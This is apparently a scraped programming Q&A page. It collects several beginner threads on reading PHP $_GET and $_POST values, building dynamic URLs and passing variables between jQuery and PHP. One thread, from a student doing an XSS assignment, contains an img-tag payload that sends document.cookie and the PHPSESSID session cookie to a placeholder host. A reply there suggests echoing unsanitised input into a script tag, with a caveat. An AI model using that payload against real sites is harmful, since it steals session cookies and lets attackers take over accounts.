Simple $_GET question - php

Hey, i am currently creating a pagination script using php and jquery and for some reason can't display the $_GET that im trying to grab.
There is no form, but looking at the firebug console I get a url like this:
pagination.php?id=category
Just wondering how I can get that 'category' and just echo it out.

doesn't $_GET['id'] do it?

Try:
echo $_GET['id'];
Just in case that "category" is a URL, try to encode it, otherwise it will not populate correctly; and finally, don't use variables over 100 characters in length.

echo $_GET['id'];
also, be sure to sanitize user input before doing anything with it.

Related

how to parse dynamic _POST variable in php

I'm stuck with a php/mySQL thing..
I have a dynamically created form and I want to parse the $_POST variables it generates. To be specific,I have a query in SQL which generates the fields in my form. Then, I need to process these variables in the php file, where the action of the form goes.
However, I cannot parse the dynamically created $_POST variables. Below is my code:
$sql="just-a-query";
$result = mysql_query($sql);
while ($data = mysql_fetch_array($result)) {
${''.$data['parameterName']}=$_POST[$data['parameterName']];
}
For example, if I have 3 variables that got through the form the values:
house=1
tree=3
car=2
I would like to save them via php like this:
$house=$_POST['house'];
$tree=$_POST['tree'];
$car=$_POST['car'];
However I can't get through it. It returns Undefined index error. Any thoughts?
If you want to find if a variable is defined before using it, it's as simple as using isset():
if( isset($_POST[$data['parameterName']]) ) {
${''.$data['parameterName']}=$_POST[$data['parameterName']];
}
If on the other hand, it's supposed to be defined (you see the form element), but then it's not getting defined in the postback. First check to make sure that your form submission type is post, then check to make sure you are using the name attribute in the form elements.
thank you for your time. My problem was that I was parsing wrong parameters from the HTML.
Yes, I'm an idiot and yes, var_dump() helped me to figure my error.
Thanks again!
btw, my code was working perfectly. Ha!

Pass $.variable in url

I would like to pass a variable as a value to a website. (Doing a school assignment on XSS)
For example I currently have:
$.cookie('echat') and $.cookie('PHPSESSID')
I would like to pass it into a link say:
xxxx.com/xxx.php?cookie=$.cookie('PHPSESSID')
However, nothing is pass to xxxx.com/xxx.php
Any1 know the syntax to do this?
specifically i am placing a img tag like this to exploit:
&lt img src='http://xxxxx.com/xxxxx.php?cookie='+document.cookie&gt
Apparently, document.cookie is not working and I need $.cookie('PHPSESSID') to get the PHPID
Your URL is setting the value of $_GET['cookie'] to $.cookie('PHPSESSID') in your PHP script, nothing more. How that's handled is up to PHP.
Since that looks like JavaScript (specifically, the jQuery Cookie plugin), you could conceivably do echo "<script>{$_GET['cookie']}</script>"; in your PHP to spit it out as JS on the resulting page. As you hopefully know from your classes, blindly using user-submitted data like this is dangerous and a bad idea.
use this php function
url_encode("string")
such as
http://www.xxxxx.com/xxx.php?cookie=<?php echo url_encode("$.cookie('PHPSESSID')"); ?>

why $_GET value is different than URL

I have a url like this
http://example.com/folder/component/mycom/?insid=7&test=685286640293e700bc9440cafb587290
I need to get value of test. When I echo $_GET['test'] it returns 685286640293e700bc9440cafb587290?url=component/mycom/ . It is happening for last variable of url.I dont know why is this so?
Thanks
Test isn't being sent in the $_GET that you displayed?
You have : insid=7 and token=685286640293e700bc9440cafb587290 with a malformed & between them that is the HTML code for & rather than the & itself.
Your URL at the moment is this:
http://example.com/folder/component/mycom/?insid=7&test=685286640293e700bc9440cafb587290
If you change it to
http://example.com/folder/component/mycom/?insid=7&test=685286640293e700bc9440cafb587290
I would be willing to bet you will get your code working :)

Paste terms in URL

I am trying to find a way to create a simple dynamic URL, that gets its information from boxes where people enter something.
I got a google search machine and want to refer to it, so basically I wanted two boxes:
One for choosing which directory to search in (the google machine has different directories in its index I want people to be able to choose from those)
and the other for the search term they are looking for.
The URL looks like that:
http://searchengine.xx/search?q=SEARCHTERM&site=DIRECTORY&btnG=Suchen&entqr=0&ud=1&sort=date%3AD%3AL%3Ad1&output=xml_no_dtd&oe=UTF-8&ie=UTF-8
I tried it with PHP like that:
<?php
$directory = $_GET['searchterm'];
echo "http://searchengine.xx/search?q=".$searchterm."&site=directory&btnG=Suchen& entqr=0&ud=1&sort=date%3AD%3AL%3Ad1&output=xml_no_dtd&oe=UTF-8&ie=UTF-8'>URL</a>
?>
This doesnt seem to work well and I wondered if this was possible in any other way (simple HTML, JavaScript maybe?)
try to mix php and htaccess...
<?php
//get the text form the text box and put it in a variable eg.($text)
$url = 'index.php?searchterms=$text';
header("Location: $url");
?>
I think that something like this might work.
Get the text from the text box, then put the text onto a variable (i've used $text to exemplify).
Put the url that you want in a variable (i've used $url to exemplify), but in the end of the url put the text variable the way i did it.
Finally, use the header function to redirect to the url that you want.
Hope i helped
There are several problems with the PHP code in your question. $searchterm is never set and the echo statement is never ended. Try this instead:
<?php
$searchterm = $_GET['searchterm'];
$searchterm = strip_tags($searchterm);
echo "<a href='http://searchengine.xx/search?q=".$searchterm."&site=directory&btnG=Suchen&entqr=0&ud=1&sort=date%3AD%3AL%3Ad1&output=xml_no_dtd&oe=UTF-8&ie=UTF-8'>URL</a>";
?>
The strip_tags will ensure " and ' are removed so it doesn't break your link.

javascript-php var post get

That code work:
startSlideshow(<?php echo json_encode(glob("photos-animaux/*.jpg"))?>);
that code dont :
$.post("",{'folder':'animaux'});
startSlideshow(<?php echo json_encode(glob("photos-".$_GET["folder"]."/*.jpg"))?>);
WHY ?, what i am doing wrong ?, help !
why the stupid php fonction just dont make the string right !! ahhhh!
---new infos----
that line work :
startSlideshow(<?php echo json_encode(glob("photos-".$_GET["folder"]."/*.jpg")) ?>);
because if i MANUALLY enter in the address bar ?folder=animaux...bam! work
so the problem shoul be there : $.get("photo-portfolio.php",{folder:"animaux"});
still dont know where !
If you're using $.post() from JQuery, you should use $_POST['folder'] to access your variable. If you use $.get(), then you use $_GET['folder'] in PHP. Try changing that $_GET to $_POST.
Change $_GET["folder"] to $_POST["folder"] ?
You can dump the $_POST to be sure you're getting the right info..
echo '<pre>', print_r( $_POST, 1), '</pre>';
I hope you're not literally writing these two lines together and hope they are interacting, are you?
$.post("",{'folder':'animaux'});
startSlideshow(<?php echo json_encode(glob("photos-".$_GET["folder"]."/*.jpg"))?>);
PHP runs on the server, Javascript in the browser. In the above two lines, if written like this, the PHP is already long done by the time $.post() is called.
PHP processes the code on the server and sends this to the browser:
$.post("",{'folder':'animaux'});
startSlideshow(['something.jpg', 'something2.jpg']);
The browser executes this code:
Post {'folder':animaux'} to "" (no effect whatsoever).
Start a slideshow with ['something.jpg', 'something2.jpg'] (which was already decided by the time the page loaded).
I hope you're aware of this two stage process.

Categories